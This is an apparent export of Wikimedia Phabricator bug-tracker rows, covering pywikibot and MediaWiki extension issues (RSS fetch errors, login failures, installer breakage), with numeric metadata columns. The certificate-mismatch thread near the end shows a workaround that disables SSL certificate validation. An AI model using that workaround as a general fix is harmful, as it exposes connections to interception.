+This error generally means that fopen( 'http://blog.wikimedia.org/feed/' ); returned false. I'm not sure why it is doing so in your particular install. I suspect (but am not sure) its a problem with your php.ini configuration.",,,1408556753,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+310471,RSS extension gives http-request-error when fetching http://blog.wikimedia.org/feed/,"(In reply to Jens Røbel from comment #0)
+> Gives this result:
+> 
+> Failed to load RSS feed from http://blog.wikimedia.org/feed/:
+> HTTP-forespørgslen fejlede af ukendte årsager. 
+
+Where can this result be seen and how exactly to reproduce?
+
+I pasted your one line via ""Show Preview"" on https://www.mediawiki.org/w/index.php?title=User:AKlapper_(WMF)/Bug69783 and results were as expected.",,,1408543746,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xghwtgyjx7ptcjhdcyi4,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+71564,GoogleLogin breaks webinstaller (mw-config),"When GoogleLoign installed, wgAuth breaks the use of the webinstaller to update database schema.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1408046580,1409730696.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_description,resolved,True,c3,1,True,False,True,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+312661,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:
+
+Change 158060 merged by jenkins-bot:
+Fix WebInstaller-Break
+
+https://gerrit.wikimedia.org/r/158060",,,1409728017,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312658,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:
+
+Change 158060 had a related patch set uploaded by Florianschmidtwelzow:
+Fix WebInstaller-Break
+
+https://gerrit.wikimedia.org/r/158060",,,1409727956,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312655,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:
+
+Change 154134 merged by jenkins-bot:
+Fix WebInstaller-Break
+
+https://gerrit.wikimedia.org/r/154134",,,1408302731,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+312653,GoogleLogin breaks webinstaller (mw-config),"**gerritadmin** wrote:
+
+Change 154134 had a related patch set uploaded by Florianschmidtwelzow:
+Fix WebInstaller-Break
+
+https://gerrit.wikimedia.org/r/154134",,,1408048725,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,False,,,-46,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+312650,GoogleLogin breaks webinstaller (mw-config),Comes from: https://www.mediawiki.org/wiki/Thread:Extension_talk:GoogleLogin/Breaks_mw-config,,,1408046627,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-cdzfp72gtzm6ggz2rfkn,task_subcomment,,True,c3,1,True,,,-46,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+71354,Login with unicode username fails,"This is probably due to recent changes in the user agent string.
+
+File ""core/pywikibot/data/api.py"", line 337, in submit	body=paramstring)
+	File ""core/pywikibot/comms/http.py"", line 164, in request
+	username=quote(username),
+	File ""/usr/lib/python2.7/urllib.py"", line 1268, in quote
+	return ”.join(map(quoter, s))
+	KeyError: u'\u05e2'
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1407613020,1407640172.0,PHID-USER-cfsvvgbtlqnbt2yokfjf,False,,False,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_description,resolved,True,c3,1,False,False,True,-47,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+315761,Login with unicode username fails,"Change 153221 merged by jenkins-bot:
+Allow unicode usernames in headers
+
+https://gerrit.wikimedia.org/r/153221",,,1407618982,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+315757,Login with unicode username fails,"Change 153221 had a related patch set uploaded by Legoktm:
+Allow unicode usernames in headers
+
+https://gerrit.wikimedia.org/r/153221",,,1407618889,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+315754,Login with unicode username fails,"Change 153221 had a related patch set uploaded by Merlijn van Deen:
+Bug 69354 Allow unicode usernames in headers
+
+https://gerrit.wikimedia.org/r/153221",,,1407614619,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-7v57yx3ngtnzzx22sz2v,task_subcomment,,True,c3,1,False,,,-47,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+71342,Wild card '*' for lang in user_config does not allow login,"With this settings in user_config.py:
+    usernames['wikipedia']['*'] = u'Mpaa'
+cannot login, while it can with:
+    usernames['wikipedia']['en'] = u'Mpaa'
+
+The try clause in login.py fails because self.site.code is 'en' and not '*'.
+KeyError is raised (BTW it should be except KeyError ....)
+
+try:
+   self.username = config.usernames[
+        self.site.family.name][self.site.code]
+except:
+    raise NoUsername(u""""""\
+ERROR: Username for %(fam_name)s:%(wiki_code)s is undefined.
+If you have an account for that site, please add a line to user-config.py:
+
+usernames['%(fam_name)s']['%(wiki_code)s'] = 'myUsername'""""""
+                     % {'fam_name': self.site.family.name,
+                        'wiki_code': self.site.code})
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal",Needs Triage,90.0,1407593760,1409298908.0,PHID-USER-43lnvui4hacyjrc2lflj,False,,False,PHID-TASK-kczta4bqmdsayknyylrh,task_description,resolved,True,c3,1,True,False,True,-47,True,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+315255,Wild card '*' for lang in user_config does not allow login,"**gerritadmin** wrote:
+
+Change 156987 merged by jenkins-bot:
+Wild card '*' in user-config does not allow login
+
+https://gerrit.wikimedia.org/r/156987",,,1409275799,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+315252,Wild card '*' for lang in user_config does not allow login,"**gerritadmin** wrote:
+
+Change 156987 had a related patch set uploaded by John Vandenberg:
+Wild card '*' in user-config does not allow login
+
+https://gerrit.wikimedia.org/r/156987",,,1409272176,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,False,,,-44,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+315249,Wild card '*' for lang in user_config does not allow login,"Might not be a bug if this sentences in user_cong.py/cinfig2.py are not True ...
+
+# The dictionary usernames should contain a username for each site where you
+# have a bot account. If you have a unique username for all languages of a
+# family , you can use '*'
+
+or
+
+# If you have a unique username for all languages of a family,
+# you can use '*'",,,1407617580,,PHID-USER-43lnvui4hacyjrc2lflj,False,,,PHID-TASK-kczta4bqmdsayknyylrh,task_subcomment,,True,c3,1,True,,,-47,True,1,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+71086,Use Config object instead of globals in GoogleLogin,"With MW 1.23 a new Configuration class was implemented to access configuration variables/options instead of using ""global $wg..."":
+https://www.mediawiki.org/wiki/MediaWiki_1.23#Configuration
+
+Extension developers can use/create it's own instance of this, like explained here:
+https://www.mediawiki.org/wiki/Manual:Configuration_for_developers
+to use the advantage of this new implementation, too. Let's try it!
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1407111600,1408834048.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_description,resolved,True,c3,1,True,False,True,-48,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+314008,Use Config object instead of globals in GoogleLogin,"Change 151771 merged by jenkins-bot:
+Use Config and remove globals
+
+https://gerrit.wikimedia.org/r/151771",,,1408833925,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,False,,,-45,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+314005,Use Config object instead of globals in GoogleLogin,"Change 151771 had a related patch set uploaded by Florianschmidtwelzow:
+Use Config and remove globals
+
+https://gerrit.wikimedia.org/r/151771",,,1407184531,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+314003,Use Config object instead of globals in GoogleLogin,Phabricator (copy): http://fab.wmflabs.org/T518,,,1407111733,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-2s2cxhhvhbo6whm6n2lj,task_subcomment,,True,c3,1,True,,,-48,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+71016,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Alex, can you help me please? :-)
+
+Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it? [Called from SpecialPageFactory::getLocalNameFor in /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 597] in /srv/vagrant/mediawiki/includes/debug/MWDebug.php on line 303
+
+Call Stack:
+    0.0007     253072   1. {main}() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:0
+    8.4779   60010472   2. MediaWikiPHPUnitCommand::main() /srv/vagrant/mediawiki/tests/phpunit/phpunit.php:160
+    8.4780   60022936   3. PHPUnit_TextUI_Command->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiPHPUnitCommand.php:42
+   45.7278  275865408   4. PHPUnit_TextUI_TestRunner->doRun() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/Command.php:176
+   45.7496  276180680   5. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/TextUI/TestRunner.php:350
+   46.0237  276182912   6. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+  857.7910  468000136   7. PHPUnit_Framework_TestSuite->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:709
+  858.0793  470697832   8. PHPUnit_Framework_TestSuite->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:749
+  858.0793  470697832   9. MediaWikiTestCase->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestSuite.php:779
+  858.0819  470698000  10. PHPUnit_Framework_TestCase->run() /srv/vagrant/mediawiki/tests/phpunit/MediaWikiTestCase.php:133
+  858.0820  470698000  11. PHPUnit_Framework_TestResult->run() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:783
+  858.0821  470698944  12. PHPUnit_Framework_TestCase->runBare() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestResult.php:648
+  858.1496  471410880  13. PHPUnit_Framework_TestCase->runTest() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:838
+  858.1496  471411656  14. ReflectionMethod->invokeArgs() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+  858.1496  471411992  15. ApiOptionsTest->testReset() /srv/vagrant/mediawiki/vendor/phpunit/phpunit/PHPUnit/Framework/TestCase.php:988
+  858.1499  471417136  16. ApiOptionsTest->executeQuery() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:233
+  858.1500  471417400  17. ApiOptions->execute() /srv/vagrant/mediawiki/tests/phpunit/includes/api/ApiOptionsTest.php:151
+  858.1622  471424856  18. Preferences::getPreferences() /srv/vagrant/mediawiki/includes/api/ApiOptions.php:75
+  859.2275  471897512  19. wfRunHooks() /srv/vagrant/mediawiki/includes/Preferences.php:99
+  859.2275  471897560  20. Hooks::run() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:4031
+  862.0529  473359440  21. call_user_func_array() /srv/vagrant/mediawiki/includes/Hooks.php:206
+  862.0529  473359936  22. efClientSSLAddPrefsLink() /srv/vagrant/mediawiki/includes/Hooks.php:206
+  862.0568  473361048  23. Linker::link() /srv/vagrant/mediawiki/extensions/SSLClientAuthentication/ClientSSLAuth.php:172
+  862.0581  473362880  24. Linker::normaliseSpecialPage() /srv/vagrant/mediawiki/includes/Linker.php:218
+  862.0582  473362928  25. SpecialPage::getTitleFor() /srv/vagrant/mediawiki/includes/Linker.php:459
+  862.0582  473362928  26. SpecialPageFactory::getLocalNameFor() /srv/vagrant/mediawiki/includes/specialpage/SpecialPage.php:70
+  862.0596  473363216  27. wfWarn() /srv/vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php:597
+  862.0596  473363416  28. MWDebug::warning() /srv/vagrant/mediawiki/includes/GlobalFunctions.php:1189
+  862.0598  473364888  29. MWDebug::sendMessage() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:157
+  862.0598  473365224  30. trigger_error() /srv/vagrant/mediawiki/includes/debug/MWDebug.php:303
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1406914560,1406922390.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,False,PHID-TASK-mr3c2isir3autmpdn7dj,task_description,resolved,True,c3,1,True,False,True,-48,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,1,0,0,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,1,1
+310927,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Change 151197 merged by Parent5446:
+Create proper aliases file for Special:ClientSSL
+
+https://gerrit.wikimedia.org/r/151197",,,1406922295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mr3c2isir3autmpdn7dj,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+310920,[SSLClientAuthentication] Notice: Did not find alias for special page 'ClientSSL'. Perhaps no aliases are defined for it?,"Change 151197 had a related patch set uploaded by MegaAlex:
+Create proper aliases file for Special:ClientSSL
+
+https://gerrit.wikimedia.org/r/151197",,,1406922235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mr3c2isir3autmpdn7dj,task_subcomment,,True,c3,1,False,,,-48,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+70794,pywikibot uses incorrect domain for https certificate,"**Author:** `ian`
+
+**Description:**
+Running a simple pywikibot script gives error that my server has an invalid certificate, then it retries, and seems to ignore that issue and succeeds.
+
+In the error, it reports the certificate for a different domain that my server also hosts, probably because either 1. it is the domain used for reverse dns, or 2. it is the domain which my server redirects to for urls containing the ip address.
+
+Pywikibot should get the certificate for the domain I configured it to use. Here is the error output.
+
+ERROR: Traceback (most recent call last):
+  File ""/root/opt/pywikibot/pywikibot/data/api.py"", line 298, in submit
+    body=paramstring)
+  File ""/root/opt/pywikibot/pywikibot/comms/http.py"", line 174, in request
+    raise request.data
+CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=65189
+https://github.com/jcgregorio/httplib2/issues/243",Needs Triage,90.0,1406621640,1410951268.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-okdjn52gy6qu7uof77rr,task_description,resolved,True,c3,1,False,False,True,-49,True,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+313076,pywikibot uses incorrect domain for https certificate,"Ian, you may now add 'def ignore_certificate_error: return True' to your family file to tell httplib2 to not verify the ssl certificate for that family.  Please re-open if it doesnt work, but also drop in a note if httplib2 has fixed the problem on their side.",,,1410951268,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+313075,pywikibot uses incorrect domain for https certificate,"Change 160189 merged by jenkins-bot:
+Add ability to ignore SSL certificate errors
+
+https://gerrit.wikimedia.org/r/160189",,,1410648897,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+313073,pywikibot uses incorrect domain for https certificate,"Change 160189 had a related patch set uploaded by John Vandenberg:
+Add ability to ignore SSL certificate errors
+
+https://gerrit.wikimedia.org/r/160189",,,1410582436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-42,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+313070,pywikibot uses incorrect domain for https certificate,"**ian** wrote:
+
+Thank you John. I will investigate and report it upstream to httplib2 and add the bug url to the related URLs.",,,1410250014,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,1,0,1,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+313068,pywikibot uses incorrect domain for https certificate,"I can reproduce this with a custom family file I created for ofswiki (thank you for reporting which wiki this occurred on)
+
+
+The core problem is that httplib2<https://github.com/jcgregorio/httplib2> complains about this.
+
+$ python
+>>> import httplib2
+>>> httplib2.__version__
+'0.9'
+>>> httplib2.Http().request('https://ofswiki.org/')
+Traceback (most recent call last):
+  File ""<console>"", line 1, in <module>
+  File "".../httplib2/__init__.py"", line 1593, in request
+    (response, content) = self._request(conn, authority, uri, request_uri, method, body, headers, redirections, cachekey)
+  File "".../httplib2/__init__.py"", line 1335, in _request
+    (response, content) = self._conn_request(conn, request_uri, method, body, headers)
+  File "".../httplib2/__init__.py"", line 1257, in _conn_request
+    conn.connect()
+  File "".../httplib2/__init__.py"", line 1032, in connect
+    'host %s: %s' % (hostname, cert), hostname, cert)
+CertificateHostnameMismatch: Server presented certificate that does not match host ofswiki.org: {'notAfter': 'May 23 20:21:24 2015 GMT', 'subjectAltName': (('DNS', 'www.iankelling.org'), ('DNS', 'iankelling.org')), 'subject': ((('description', u'0NEmhfbNSxh2R2RF'),), (('countryName', u'US'),), (('commonName', u'www.iankelling.org'),), (('emailAddress', u'REDACTED-AT-iankelling.org'),))}
+
+
+compare that with httplib2.Http().request('https://en.wikipedia.org/')
+
+And this works like a charm:
+
+>>> httplib2.Http(disable_ssl_certificate_validation=True).request('https://ofswiki.org/')
+
+The fact that it only checks the SSL certificate once is reported here:
+
+https://github.com/jcgregorio/httplib2/issues/243
+
+I cant quickly see an issue related to the certificate problem you are experiencing.
+https://github.com/jcgregorio/httplib2/issues
+If you can find it, or create a new issue, add it to our related URLs.",,,1410248253,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-okdjn52gy6qu7uof77rr,task_subcomment,,True,c3,1,True,,,-43,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1
